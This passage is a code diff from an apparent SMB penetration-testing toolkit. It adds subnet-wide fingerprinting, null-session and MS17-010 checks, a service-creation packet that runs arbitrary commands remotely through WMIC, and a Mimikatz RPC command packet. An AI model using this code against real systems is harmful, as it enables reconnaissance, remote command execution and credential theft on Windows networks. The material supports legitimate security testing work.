class SMBTransDCERPC(Packet): class SMBTransDCERPC(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x10"), ("Wordcount", "\x10"),
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
("DataRepresent", "\x10\x00\x00\x00"), ("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"), ("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"), ("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"), ("CallID", "\x01\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"), ("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"), ("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"), ("GroupAssoc", "\x00\x00\x00\x00"),
@@ -688,7 +759,7 @@ class SMBDCESVCCTLCreateService(Packet):
("TagID", "\x00\x00\x00\x00"), ("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"), ("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"), ("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"), ("ServiceStartUser", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"), ("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"), ("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"), ("Padding", "\x00\x00"),
@@ -696,14 +767,14 @@ class SMBDCESVCCTLCreateService(Packet):
]) ])
def calculate(self): def calculate(self):
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
BinDataLen = str(self.fields["BinCMD"]) BinDataLen = str(self.fields["BinCMD"])
#Padding
if len(str(self.fields["BinCMD"]))%2==0:
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
else:
self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -711,12 +782,12 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([
("ContextHandle", ""), ("ContextHandle", ""),
@@ -767,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
("ContextHandle", ""), ("ContextHandle", ""),
]) ])
class SMBDCEMimiKatzRPCCommand(Packet):
fields = OrderedDict([
("ContextHandleLen", "\x07\x00\x00\x00"),
("ContextHandle", "\x00\x00\x00\x00"),
("ContextHandleLen2", "\x07\x00\x00\x00"),
("CMD", ""),
("CMDEnd", "\x00\x00"),
])
def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
class OpenAndX(Packet): class OpenAndX(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0f"), ("Wordcount", "\x0f"),
@@ -819,6 +905,42 @@ class ReadRequestAndX(Packet):
]) ])
class SMBDCERPCReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xb8\x10"),
("MinCount", "\xb8\x10"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\x00\x00"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class WriteRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x06"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x00\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\x0a\x00"),#actual Len
("DataOffset", "\x3f\x00"),
("Bcc", "\x0a\x00"),
("Padd", ""),
("Data", ""),
])
class CloseRequest(Packet): class CloseRequest(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -988,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -20,23 +20,25 @@ import multiprocessing
from socket import * from socket import *
from odict import OrderedDict from odict import OrderedDict
import optparse import optparse
from RunFingerPackets import *
__version__ = "0.6" __version__ = "0.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.TARGET is None: if options.TARGET is None:
print "\n-i Mandatory option is missing, please provide a target or target range.\n" print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
Timeout = 2 Timeout = 2
Host = options.TARGET Host = options.TARGET
Grep = options.Grep MS17010Check = options.all
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
@@ -61,82 +63,6 @@ def GetBootTime(data):
time = datetime.datetime.fromtimestamp(t[0]) time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S') return time, time.strftime('%Y-%m-%d %H:%M:%S')
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
##################### #####################
@@ -153,23 +79,27 @@ def dtoa(d):
return inet_ntoa(struct.pack("!L", d)) return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
if OsVersion == "Unix": OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
OsVersion = ClientVersion return OsVersion, ClientVersion
return OsVersion, ClientVersion if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
except: return OsVersion, ClientVersion
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68]) Time = GetBootTime(data[60:68])
return Hostname, DomainJoined, Time #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
except: if Hostname == '':
return "Could not get Hostname.", "Could not get Domain joined" DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host): def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
@@ -177,7 +107,6 @@ def DomainGrab(Host):
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
print "Host down or port close, skipping"
pass pass
try: try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
@@ -198,7 +127,6 @@ def SmbFinger(Host):
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
print "Host down or port close, skipping"
pass pass
try: try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
@@ -216,31 +144,85 @@ def SmbFinger(Host):
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
s.close()
if data[8:10] == "\x73\x16": if data[8:10] == "\x73\x16":
OsVersion, ClientVersion = OsNameClientVersion(data) OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
def check_ms17_010(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
t = SMBTransRAPData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
if data[9:13] == "\x05\x02\x00\xc0":
return True
else:
return False
else:
return False
except Exception as err:
return False
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
return True
else:
return False
except Exception:
return False
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
print "Retrieving information for %s..."%Host[0]
Hostname, DomainJoined, Time = DomainGrab(Host) Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host) Signing, OsVer, LanManClient = SmbFinger(Host)
print "SMB signing:", Signing NullSess = check_smb_null_session(Host)
print "Server Time:", Time[1] if MS17010Check:
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) Ms17010 = check_ms17_010(Host)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Vulnerable to MS17-010:", Ms17010
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
else:
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except: except:
pass pass
@@ -253,40 +235,40 @@ def ShowSmallResults(Host):
return False return False
try: try:
Hostname, DomainJoined, Time = DomainGrab(Host) if MS17010Check:
Signing, OsVer, LanManClient = SmbFinger(Host) Hostname, DomainJoined, Time = DomainGrab(Host)
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1]) Signing, OsVer, LanManClient = SmbFinger(Host)
print Message NullSess = check_smb_null_session(Host)
except: Ms17010 = check_ms17_010(Host)
pass message_ms17010 = ", MS17-010: {}".format(Ms17010)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
def IsGrepable(): else:
if options.Grep: Hostname, DomainJoined, Time = DomainGrab(Host)
return True Signing, OsVer, LanManClient = SmbFinger(Host)
else: NullSess = check_smb_null_session(Host)
return False print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
except Exception as err:
pass
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m : if m:
net,_,mask = Host.partition('/') net,_,mask = Host.partition('/')
mask = int(mask) mask = int(mask)
net = atod(net) net = atod(net)
threads = [] threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): if options.grep_output:
if IsGrepable(): func = ShowSmallResults
p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),)) else:
threads.append(p) func = ShowResults
p.start() for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
else: p = multiprocessing.Process(target=func, args=((host,445),))
p = multiprocessing.Process(target=ShowResults, args=((host,445),)) threads.append(p)
threads.append(p) p.start()
p.start()
else: else:
if IsGrepable(): if options.grep_output:
ShowSmallResults((Host,445)) ShowSmallResults((Host,445))
else: else:
ShowResults((Host,445)) ShowResults((Host,445))
RunFinger(Host) RunFinger(Host)

410
tools/RunFingerPackets.py Normal file
View File

@@ -0,0 +1,410 @@
import random, struct
from socket import *
from time import sleep
from odict import OrderedDict
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xec\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"),
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le')),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMax